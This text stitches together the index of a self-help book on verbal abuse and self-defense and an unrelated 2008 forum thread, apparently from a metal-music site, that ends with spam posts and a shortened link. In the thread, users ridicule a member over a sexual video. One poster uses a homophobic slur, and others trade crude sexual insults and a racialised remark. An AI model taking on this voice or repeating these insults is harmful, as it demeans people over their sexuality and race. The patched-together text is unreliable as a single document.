verbal attacks
anticipating, 134
immediacy of reactions, 136–137
interpreting reactions, 134–135
practicing, 133–134
preparing for verbal combat, 132–133
impatience, motivation for verbal murder, 54, 54–55
improving
relationships, 186–189
self-esteem, 109–110, 308–310
inappropriate behavior, 272
Page 331
indications of stress, 28
infants
comparing treatment between sexes, 177
speech, developing, 199
infidelity, reporting to cuckold, 282–283
inflammatory words, avoiding, 113
initiating, conversation, 121
insecurity, 249
overcoming, 120
instigators (verbal abusers), 41
insults
avoiding, 155–157
jokes, hidden meaning, 20–21
self-directed, 110
integrity, admitting to wrongdoing, 290–291
intelligence, underestimating, 291–292
interests and opinions, conversation topics, 124
International Association of Counseling Services, contact information, 322
interpreting
common expressions, 23
communication between sexes, 178–183
female language, 185–186
male language, 183–185
jokes, hidden meaning, 20–21
reactions to verbal attacks, 134–135
secretiveness, 21
self-aggrandizement, 22
interrogators (verbal abusers), 40–41, 243
interruptions, reacting to, 226
one-one-one conversations, 274
telephone conversations, 263–264
introspection
building self-confidence, 105–109
“Who Are You?” quiz, 106–108
Italian terms, 127
J
jaw, clenching, 10
jokes
bearing brunt of, 269
hidden meanings, 20–21
weight-related, responding to, 287
K.
“kick the cat” syndrome, 50
kind words, 301, 316
kissing, 87–88
know-it-alls, confronting, 224–225, 236
kvetching, 276
L
Lamb to Lion types, 240
language
infants, developing, 199
slang, confronting speakers of, 225
Latin terms, 126
“leaking” rumors, 312
leaving verbally abusive relationships, 162–166
level one verbal abusers, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality type, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
liars, 44–45, 234
confronting, 284–285
eye contact, 9
limbic system, 27
lingo
acquiring, 125
French terms, 127
German terms, 126
Italian terms, 127
Latin terms, 126
Yiddish terms, 126–127
lisping (speech), 16
improving, 101–102
listening, 19–23
double-meaning, 294–295
fast-talkers, 17
interruptions, avoiding, 114–115
logging reactions to verbal attacks, 134
Look of Disgust strategy, disarming verbal opponents, 141
loud talkers, 299
confronting, 218–219, 259
Love and Kindness Technique, 231
pity seekers, 233
talkaholics, 232
Love 'Em Up strategy, disarming verbal opponents, 146–149
Love-Healing Music for the Heart, 168
loving words, 316
lowering pitch (voice), 97
M
maintaining
conversation, 121–127
asking questions, 122
elaboration technique, 122–123
topics, 123–124
verbally abusive relationships, excuses for, 163–164

Page 332
making fun of others, 268–269
male language, 183–185
manipulators, sweet talkers, 232
marriages, reporting infidelity to cuckold, 282–283
Maslow, Abraham, 158
mean-spiritedness, reacting to, 272
“me me me” talkers, 235
mentally ill, 247, 300
communicating with, 289–290
messages
answering machines, 261–262
bad news, delivering, 281–282
mirrors, performing self-assessment, 65–66
miscommunication
between sexes, 178–183
in business dealings, avoiding, 206–208
mistrust, unconscious motivation for verbal murder, 52–53
money borrowers, 277
monotonous voice, enhancing, 99–100
Montagu, Ashley, 85
motivation
for rudeness in salespeople, 207–208
for rudeness in food servers, 209–210
for verbal murder, 50
conscious, 53–57
unconscious, 50–53
mouth
body language, self-assessment, 73–74
expressing emotions, 10
mouthing off, 296
moving on from negative experiences, 314
muggers, 302
mumbling, 217–218
mushi, 94
music
communicating with terminally ill, 284
fetal response to, 199
Love Healing-Music for the Heart, 168
N
Naked Truth strategy, disarming verbal opponents, 144–145
name-droppers, confronting, 223–224
name repetition, disarming verbal opponents, 146–147
narcissistic talkers, 235
nasal speech
confronting speakers, 227–228
correcting, 100–101
National Association of Alcoholism and Drug Abuse, contact information, 322
negativity
about yourself, removing, 310
self-assessment, 63–65
discussing with others, 314
self-fulfilling prophecies, 111
nervousness, stuttering as manifestation, 15–16
nosy people, 250
O
obesity, responding to weight-related jokes, 287
objectivity
body language, self-assessment, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
personality, self-assessment, 65–67
obscene language, 234
observing
verbal opponents, 113
body language, 4
one-upsmanship, 36
open mindedness, 5
prejudices, removing, 111
opening eyes wide, 9
opinionated people, 275
opponents
disarming, techniques
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
“What's Good About You” strategy, 148–149
identifying, 3
order form, Your Total Image Inc., 323–324
others speaking on your behalf, 273
overcoming shyness, 120
P
Parental Drug Association, contact information, 322
parents
children, respecting, 200–201
verbal abuse
consequences of, 192
defending against, 191–193
passive-aggressive types, 240
pathological liars, confronting, 285
patience with stutterers, 288–289
peace promoting strategies, 112–116
diplomacy, 116
Page 333
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
performing self-assessment, 65–67
photographs, analyzing, 67
telephone conversations, recording, 66–67
personality traits
level one verbal abusers, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
rude food servers, 209–210
self-assessment, 62–65
objectivity, 65–67
positive traits, 63–65
shyness, overcoming, 120
personal space, respecting, 11–12, 115–116
persuasion, 288
photographs, performing self-assessment, 67
physical contact, 85–88
physically challenged, communicating with, 289
physical violence, avoiding, 156–157
physiological responses to verbal abuse, 27–31
pictures, performing self-assessment, 67
piercing stares, 8
Pillai, Guru Ji, 111
pitch (voice), lowering, 97
pity seekers, 233
plotters, 242
positive traits (personality), self-assessment, 63–65
posture, 12
enhancing, 80–81
head position, enhancing, 81
rigidity, correcting, 82–83
sitting, 82
spine, 81
practicing imaginary conversations, 133–134
pre-infant communication, 198–199
preconceived notions (verbal opponents), removing, 111
prejudice
intelligence, underestimating, 291–292
open-mindedness, 111
racial slurs, 286
rumors as source, 274
preparing
for conversation, 118
for verbal combat, 131–134
preventing
drooling, 102–103
rumors about yourself, 310
verbal attacks, strategies, 112–116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
terms of endearment, speaking, 114, 115
profanity among children and teenagers, 195–196, 201–202
professional help
improving self-esteem, 308–310
psychotherapists, contacting, 166
professionals, defending against verbal attacks, 212
profiling verbal murderers, 47–49
projecting voice, 98
promoting peace, strategies, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
pronunciation
consonants, 101–102
vowels, 102
psychology
bipolar disorder, 42
control freaks, motivation for verbal murder, 53–54
“kick the cat” syndrome, 50
mentally ill, communicating with, 289–290
references, 320–322
self-esteem, improving, 308–310
separation anxiety, 260–261
verbal abuse, 29–31
verbal murder, consequences, 57, 57–58
psychotherapists, contacting, 166
public humiliation
coping with, 268–270
examples of, 268–269
jokes, 269–270
Page 334
Q.
quitting verbally abusive relationships, 165–166
quiz, identifying verbal abuse, 25–26
R
racial slurs, 248, 286
ragers (verbal abusers), 43
raking one over the coals, 268
rape, avoiding, 302
raspiness (voice), as emotional indicator, 16
reacting
to public humiliation, 269–273
to verbal attacks, 134, 152
immediacy, 136
interpreting responses, 134–135
psychological, 29–31
reading between lines, 6
realtors, rudeness, 207–208
recommending speech pathologists, 221–222
recording
messages (answering machines), 262
self-assessment, videotape, 66
recovering from verbal abuse, 169–171
red flags, 294
references
psychological services, 320–322
speech pathologists, 319–320
refusing food, 287
rehabilitation from verbally abusive relationships, 166
rejection from verbal abuser, coping with, 166–168
relationships
betrayal, dealing with, 290
conversation topics, 124
enemies, defending against, 204–205
families, verbal abuse
parents, defending against, 191–193
siblings, defending against, 193–194
forgiveness, 169
improving, 186–189
verbally abusive
ending, grieving process, 168
quitting, 165–166
rehabilitation, contacting professional help, 166
“three-strike rule”, 162–164
Relaxation Breathing Technique, 93
listening skills, focusing, 94
voice, enhancing, 95
removing
negative thoughts, 310
preconceived notions about verbal opponents, 111
reporting bad news, 281–282
representatives (business), rudeness, 207–208
resentment, motivation for verbal murder, 56, 56–58
resolving verbal abuse issues
from business representatives, 208
parental abuse, 192–193
sibling rivalry, 194
respect, 298
parent-child relationships, 200–201
self-respect, 109–110
affirmation tapes, 111
responding to disparaging comments, 274
responses, evaluating (“Who Are You?”) quiz, 109
restaurant servers, verbally defending against, 208–211
restricting behavior, school-aged children, 197
returning telephone calls, 264
rigidity (posture), correcting, 82–83
road rage, 297
robbers, 302
romantic situations, 303–304
rough tone in voice, 299
rudeness in business representatives, 207–208
rumors
about family, 311
as source of prejudice, 274
friends, defending, 287–288
intentionally “leaking”, 312
preventing, 310
S
sadness, facial expression, 11
salespeople
rudeness, handling, 207–208
telemarketers, verbal defense, 256–257
saliva
drooling, 102–103
spraying, 102
sarcasm
jokes, 295
reacting to, 272
sarcastic/sadistic personality types (verbal abusers), 35
selecting
answering machine messages, 262
verbal defense strategy, 136–138
self-aggrandizement, 22, 39–40, 235
self-assessment, personality, 62–65
self-criticism, 308
self-discovery
as confidence builder, 105–109
“Who Are You?” quiz, 106–108
self-esteem
affirmation tapes, 111
enhancing, 308–310
removing negative thoughts, 310
self-fulfilling prophecies, 111
self-righteous talkers, 237
separation anxiety, telephone conversations, 260–261
service industries, rude employees, 206–211
Page 335
sexes
brain chemistry, comparing, 177–178
communication
female language, 185–186
interpreting, 178–181, 181–183
male language, 183–185
comparing treatment of infants between, 177
lack of communication, 176
relationships, improving, 186–189
sexists, 248
sexual harrassment, 286
shaking hands, 13
“Shock 'Em and Rock 'Em” personality types (verbal abusers), 34–35
shutting up, 296
shyness, overcoming, 120
siblings, defending against verbal abuse, 193–194
sight-impaired, communicating with, 289
sitting with confidence, 82
slang, confronting speakers of, 225
slow speech, 17
smiling, 87, 119–120
at enemies, 271
sneaky plotters, 242
speaking for yourself, 273–274
speech
bilingual communication, 176
breathing, 92–95
mind-clearing technique, 94
relaxation technique, 93
consonant pronunciation, improving, 101–102
fast talkers, confronting, 17, 223
female language, 185–186
hyper-articulation, 17–18
infants, developing, 199
lisping, 16
male language, 183–185
monotonous, 222–223
mumbling, 217–218
slang, confronting speakers of, 225
slow talkers, 17
stuttering
as indicator of nervousness, 15–16
controlling, 104
patience with, 288–289
therapy, recommending, 221–222
voice quality, 14
baby-voiced talkers, confronting, 219–221
enhancing, 97–98
loud talkers, 15
projection, 98
quiet talkers, 15
raspiness, 16
self-assessment, 75–77
squeakiness, 14–15
voice box, 95–97
vowel pronunciation, improving, 102
speech pathologists, references, 319–320
speed
reactions to verbal attacks, 136–137
talking, slowing down, 103
spinal posture, correcting, 81
spreading gossip, 312
squeaky talkers, confronting, 219
staring, 8
disarming verbal opponents, 139–141
starting conversation, 121
statements, abusive, 23–27
stereotypes, racial slurs, 286
store clerks, rudeness, 207–208
strangers, verbal defense, 204
strategies
avoiding physical violence
“Fantasy strategy”, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe strategy”, 158–159
disarming verbal opponents
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
names, repeating, 146–147
staring down, 139–141
“What's Good About You” strategy, 148–149
peace, promoting, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
verbal combat preparation, imaginary conversations, 132–136
verbal defense
loud verbal explosions, 155
selecting, 136–138
stress
emotional
“kick the cat” syndrome, 50
verbal murder, 47
indications, 28
strong but silent types, 230
stuttering, 288–289
controlling, 104
nervousness as cause, 15–16
Page 336
sugary fawners (verbal abusers), 38–39
surprise, facial expression, 11
suspicion, unconscious motivation for verbal murder, 52–53
sweet talkers, 232
T
talkaholics, 232
talking
body language, 11–13
arms, 12–13
hand-shaking, 13
physical distance, 11–12
posture, 12
hyper-articulation, 17–18
rate of speech, 17, 103
speech impediments
lisping, 16
stuttering, 15–16
tone of voice, 14
loud talkers, 15
quiet talkers, 15
raspiness, 16
sqeakiness, 14–15
volume, reducing, 103
teachers and respect, 298
teasing, 299
techniques
breathing, 92–95
mind-clearing, 94
relaxation, 93
yawning, 97–98
confronting verbal abusers
fast talkers, 223
know-it-alls, 224–225
loud talkers, 218–219
name droppers, 223–224
nasal talkers, 227–228
slang speakers, 225
disarming opponents
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
Hand-Holding Fighting strategy, 147–148
Heart-in-Hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
What's Good About You strategy, 148–149
family issues, resolving
parental abuse, 192–193
sibling rivalry, 194
handling conversation interruptions, 226
verbal defense
against enemies, 205
against strangers, 204
voice enhancement
monotonous voices, 99–100
nasal voices, 100–101
whining voices, 100
teenagers
parental requests, 196–197
profanity, 195–196
verbal abuse, 194–197
telemarketers, verbal defense, 256, 257
telephone
answering machines, messages, 261–262, 262
confrontations, avoiding, 257
conversations
concluding, 260–261
interruptions, handling, 263–264
while eating, 262–263
frequent callers, confronting, 264–265
mumblers, confronting, 259
returning calls, 264
whisperers, confronting, 259
wordy talkers, confronting, 259–261
telling all, 313
terminally ill, communicating with, 283–284
terms of endearment, speaking, 114–115
theater rage, 298
therapy (speech), 96, 221–222
thieves, 302
“three strikes rule”, verbal abuse, 162
timeliness of counter attacks, 136
tonal blocks, 301
tone of voice, 14
loud talkers, 15
quiet talkers, 15
raspiness, 16
squeakiness, 14–15
topics of conversation, 123–124
basic needs, 124
comparing interest between sexes, 178
interests and opinions, 124
knowledge of, 125
lingo, acquiring, 125
relationships, 124
touching, 85–86
communicating with terminally ill, 284
see also physical contact
traits (personality)
level one verbal abusers, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
Page 337
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
trashers (verbal abusers), 36–37
truth
liars, confronting, 284–285
vocal tone as indicator, 15–18
U.
unconscious motivation, verbal murder, 50–53
envy, 51–52
feelings of unworthiness, 52
underestimating intelligence, 291–292
underminers (verbal abusers), 41–42
unloading on others, 313
unworthiness, motivation for verbal murder, 52
V
veracity, vocal tone as indicator, 15
verbal abuse, 23–27
categorizing, 33–34
children, correcting, 200
comparing to verbal murder, 47
consequences, 27–31
defense
against customer service representatives, 205–212
against dentists, 213–214
against doctors, 213–214
against employers, 212–213
against enemies, 205
against food service employees, 210–212
against foreign language speakers, 211–212
against friends, 204–205
against professionals, 212
against strangers, 204
against telemarketers, 256, 257
against yourself, 308
strategies, selecting, 136–138
emotional manifestations, 29–31
fighting dirty, 155–157
identifying, 25–26
in relationships, 162–164
excuses for maintaining, 163–164
quitting, 165–166
level one, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
parental
consequences, 192
resolving, 192–193
parents as victims, 194–197
physical violence, avoiding
Fantasy strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
Verbally Mirroring the Foe strategy, 158–159
profanity among teenagers, 195–196
psychological affects, 29–31
relationships
forgiveness, 169
grieving process, 168
rehabilitation, contacting professional help, 166
self-directed, 110
siblings, 193–194
“three strikes rule”, 162–164
victims
setting limits with perpetrators, 153–155
comforting, 166–168
verbal gifts, 316
verbal hammers, 35–36
verbal icicles, 45–46
verbal interrogators, 243
verbal lumberjacks, 249
“Verbally Mirroring the Foe” strategy, avoiding physical violence, 158–159
verbal murder
comparing to verbal abuse, 47
consequences, 57–58
identifying, 49
motivation, 50
conscious, 53–57
unconscious, 50–53
verbal nazis, 43–44
verbal vomiters, 231
verbose speakers, confronting, 227, 259–261
Vicarious Fantasy technique, 211
victims
children of abusive parents, 191–193
of verbal abuse, comforting, 166–168
of verbal murder, 57–58
parents of abusive children, 194–197
setting limits with perpetrator, 153–155
videotape, recording self-assessment, 66
violence, avoiding, 156–157
vocabulary, acquiring, 125
Page 338
voice
as verbal defensive weapon, 155
enhancing, 95
yawning, 97–98
female, interpreting, 185
loud talkers, confronting, 218–219, 259
male, interpreting, 184
monotonous, 99–100, 222–223
nasal,
confronting speakers of, 227–228
improving, 100–101
parental, pre-infant response to, 198
pitch, lowering, 97
projecting, 98
raspiness, 16
self-assessment, 75–77
speech therapy, recommending, 221–222
squeakiness, 14–15
volume, 15
whining, improving, 100
whispering, 15
voice box, 95–97
volume (talking)
reducing, 103
projecting, 98
vowels, pronouncing, 102
vulgar language, 234
W
waiters (restaurant), verbal self-defense, 208–211
walking
body language, self-assessment, 70–71
confidence, 81–82
warning verbal crime perpetrators, 153–155
warning signs of stress, 28
weight distribution, posture, 80–81
weight-related jokes, responding to, 287
Wernicke's area, 27
“What's Good About You” strategy, disarming verbal opponents, 148–149
when to shut up, 296
whining voice, enhancing, 100
whispering
as emotional indicator, 15
over telephone, 259
“Who Are You?” quiz, 106–109
worksheets, verbal abuse,
identifying perpetrators, 48–49
logging reactions, 134
wrongdoing, admitting to, 290–291
X–Z
xenophobics, 248
yawning, 97–98
yes-yes do-nothings, 245, 246
Yiddish terms, 126–127
Your Total Image Inc, order form, 323–324
zealots, 245

ABOUT THE AUTHOR

Right?



toggletoggle post by Mucko  at Mar 26,2008 12:31am







toggletoggle post by Mike Pile at Mar 26,2008 12:41am
dance, puppets



toggletoggle post by DestroyYouAlot  at Mar 26,2008 8:29am
RICH HORROR IS RAVIOLIS

LOL



toggletoggle post by RichHorror  at Mar 26,2008 9:07am
I remember when we were friends. No I don't.



toggletoggle post by DestroyYouAlot  at Mar 26,2008 12:37pm
Don't be like that, pookums.



toggletoggle post by RichHorror  at Mar 26,2008 12:38pm
I like farting a lot.



toggletoggle post by Hungtableed at Mar 26,2008 5:30pm
mortalis said[orig][quote]
menstrual_sweatpants_disco said[orig][quote]

Secondly, HungtaBleed is a pussy and WILL NEVER confront anybody in person with the shit he's saying here. I think everybody obviously knows this. Therefore, his opinion is totally invalid. Fuck him. Has anybody even met this clown in real life? He's useless.


he was actually pretty nice when grant and i met him at a show at that mill street brews place. least i think that was him.


I am not an inconsiderate, sarcastic asshole - I just play one on the interweb.



toggletoggle post by menstrual_sweatpants_disco   at Mar 26,2008 6:03pm
That's the dumbest thing I've heard in a long time.

I don't think it's going to convince Rich that you're not back pedaling.



toggletoggle post by Hungtableed at Mar 26,2008 6:37pm
Back pedaling, pack schmedeling...

I don't think I've ever had a more reasonable excuse to use this as a quote:


I sincerely feel bad for him; especially considering that he is in his 30s and still has not only no, but such a negative life, that he takes interweb insults so seriously. Coming from someone who doesn't hesitate to insult people/ideas/bands/etc. that he doesn't like, I would suggest that he grow some pubes and learn to take a joke and/or some criticism...I mean, it should be expected from someone who we all know is willing to take it...if you know what I mean.



toggletoggle post by fleshfries at Mar 26,2008 6:42pm
Who are you to criticize him?



toggletoggle post by Hungtableed at Mar 26,2008 6:44pm
Considering that he not only sucks dildos but also tries to put them in his ass, does it really matter who I am?



toggletoggle post by fleshfries at Mar 26,2008 7:30pm
Well actually...him sucking dildos has nothing to do with it, so I don't see where you're coming from on this one...



toggletoggle post by Hungtableed at Mar 26,2008 8:48pm
fleshfries said[orig][quote]
Well actually...him sucking dildos has nothing to do with it, so I don't see where you're coming from on this one...


hmmmmphhhfff.
Apparently flechfries either lacks reading comprehension skills or he has a similar video of himself sucking a rubber dick like it's a cock. I assume the later... Nice way to tell everyone that you soooo desire to suck dick that you're willing to suck silicone replicas. Fag, errrrrrrrrr, shit - I'm no homophobe so I guess I mean - pussy. Does the PC Police here accept "pussy" as an insult?



toggletoggle post by ZJD   at Mar 26,2008 8:51pm
Have you ever even had a dildo in your ass? Don't hate.



toggletoggle post by ZJD   at Mar 26,2008 8:53pm edited Mar 26,2008 8:54pm
Also, repeatedly watching MSD come into frame and cross his arm over is now funnier to me than watching Rich.



toggletoggle post by DaveFromTheGrave  at Mar 26,2008 8:55pm
Hungtableed said[orig][quote]


hmmmmphhhfff.
Apparently flechfries either lacks reading comprehension skills or he has a similar video of himself sucking a rubber dick like it's a cock. I assume the later... Nice way to tell everyone that you soooo desire to suck dick that you're willing to suck silicone replicas. Fag, errrrrrrrrr, shit - I'm no homophobe so I guess I mean - pussy. Does the PC Police here accept "pussy" as an insult?


blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah



toggletoggle post by Niccolai   at Mar 26,2008 8:59pm
I'll suck all ya dicks right fuckin now you homos.

Fact.



toggletoggle post by fleshfries at Mar 26,2008 10:06pm
Hungtableed said[orig][quote]
hmmmmphhhfff.
Apparently flechfries either lacks reading comprehension skills or he has a similar video of himself sucking a rubber dick like it's a cock. I assume the later... Nice way to tell everyone that you soooo desire to suck dick that you're willing to suck silicone replicas. Fag, errrrrrrrrr, shit - I'm no homophobe so I guess I mean - pussy. Does the PC Police here accept "pussy" as an insult?


I may lack reading comprehension skills, but I surpass you in grammar skills!

Fact.



toggletoggle post by Niccolai   at Mar 26,2008 10:13pm
Remember when RTTP was a cool place? You know, before everyone had their period over literacy...



toggletoggle post by demondave at Mar 26,2008 10:44pm



toggletoggle post by DestroyYouAlot  at Mar 26,2008 11:31pm
ZJD said[orig][quote]
Also, repeatedly watching MSD come into frame and cross his arm over is now funnier to me than watching Rich.


Dat's da troof.



toggletoggle post by ZJD   at Mar 26,2008 11:40pm
You can't see but I picture his legs crossed like a classy lady. Like Barbara Walters.



toggletoggle post by The Revealer at Mar 26,2008 11:56pm
That's a dildo? I thought it was a bottle of seasonal beer.



toggletoggle post by Mucko  at Mar 27,2008 8:50am
Hungtableed said[orig][quote]
Considering that he not only sucks dildos but also tries to put them in his ass, does it really matter who I am?


You should just come to a show and hang out. Bury all this bullshit. I'll buy you and Rich a beer.



toggletoggle post by GodlessRob at Mar 27,2008 9:27am
Things we learned from this post:
Rich will suck a dildo to get his friends to laugh - big shocker!
Mike will post the most idiotic, "shocking" shit to make his friends and us cringe in disgust and laugh - no really?
Hungtableed - thinks Rich is gay
The Rev - I think - was only joking and Rich took it wrong
Mucko - has the Anarchist Cookbook along with an number literary works on his hard drive - kudos
Fleshfries - has a point, who are we really to criticize anyone else - no one is perfect
Dave From The Grave - likes to say Blah Blah Blah - allot
Niccolai - will suck all of our dix cause we is homos - (no grammar police please, I wrote that like that on purpose) speaking of which...
Fleshfries - is a grammatical wizard - what a strange compliment - "why yes he does have good grammar"
DestroyAlot - has got da proof
ZJD - Likes to picture Mike with his legs crossed like Barbara Walters - uhh what?
The Reavealer - can't tell the difference between a dildo and a bottle of seasonal beer.
Me - I am like that guy in Creepshow - I am a germaphobe - I am actually glad to know that Rich sanitizes that thing.

OK Boys and Girls now that we learned something, can we please let this die. I know it will never happen, but it should. It's over and done with. Seriously, can anyone of us say we haven't done something stoopid either at the behest of our friends or for the benefit of our friends, to get them to laugh? I would venture a guess and say almost all of us have done something along those lines. I am not kissing anyone's ass, nor would I ever. Rich not only makes it a habit of making an ass out of himself to make us laugh, but he is in a group of limited people who try and do something for this "scene" and for people to over shadow what he does, over a retarded thing like this, is fucked.
OK OK OK. I get it. Rich sucked a dildo...
At least it was clean!



toggletoggle post by corpus_colostomy at Mar 27,2008 9:31am
one thing that may not have been addressed in this thread was the movement of richard's right hand as he retracted the phalloid...




toggletoggle post by Niccolai   at Mar 27,2008 11:25am
GodlessRob said[orig][quote]

Niccolai - will suck all of our dix cause we is homos - (no grammar police please, I wrote that like that on purpose)


damn straight.



toggletoggle post by fleshfries at Mar 27,2008 12:37pm



toggletoggle post by Niccolai   at Mar 27,2008 12:46pm
post ending in :57 pm gets their asshole licked.



toggletoggle post by narkybark   at Mar 27,2008 12:57pm
It's probably not necessary but I will add that I too was posting pure silliness and have no ill will towards Mr. Rampant. My attempt at comedy fell faster than Pauly Shore's career.

But more importantly, does my post end in :57pm?



toggletoggle post by Niccolai   at Mar 27,2008 3:19pm
Get your asshole ready man.



toggletoggle post by DYA/NLI at Mar 27,2008 3:44pm
Niccolai said[orig][quote]
Get your asshole ready man.




LIKE DIS?



toggletoggle post by Miss Meggly nli at May 19,2008 10:33pm
menstrual_sweatpants_disco said[orig][quote]


Chubby checker, that's one mean twist. I heard you were racist but that is clearly a black cock.






toggletoggle post by the_reverend   at May 19,2008 10:37pm
did you break my site again!!?



toggletoggle post by the_reverend   at May 20,2008 2:01am
fixed... again...



toggletoggle post by menstrual_sweatpants_disco   at May 20,2008 6:58pm
Miss%20Meggly%20nli said[orig][quote]
Chubby checker, that's one mean twist. I heard you were racist but that is clearly a black cock.


It's purple. Clearly your kindergarten teacher did a bad job.



toggletoggle post by Wigger Nancy at Mar 10,2012 5:37pm
enter a quick response username filter message



toggletoggle post by anonymous at Nov 8,2014 10:16am
Methamedmine



toggletoggle post by LindaWando at Jun 4,2016 11:18pm
Good suggestions - I was enlightened by the facts - Does someone know where I could possibly acquire a sample a form version to type on ?



toggletoggle post by AbbieMucci at Jun 5,2016 4:08am
Hello LindaWando! my work colleague filled out a template a form form with this link http://goo.gl/yG6mjR



Enter a Quick Response (advanced response>>)
Username: (enter in a fake name if you want, login, or new user)SPAM Filter: re-type this (values are 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E, or F)
Message:  b i u  add: url  image  video(?)show icons
remember:Infernal Misanthropic Vagina
[default homepage] [print][7:22:06am Mar 28,2024
load time 0.44347 secs/15 queries]
[search][refresh page]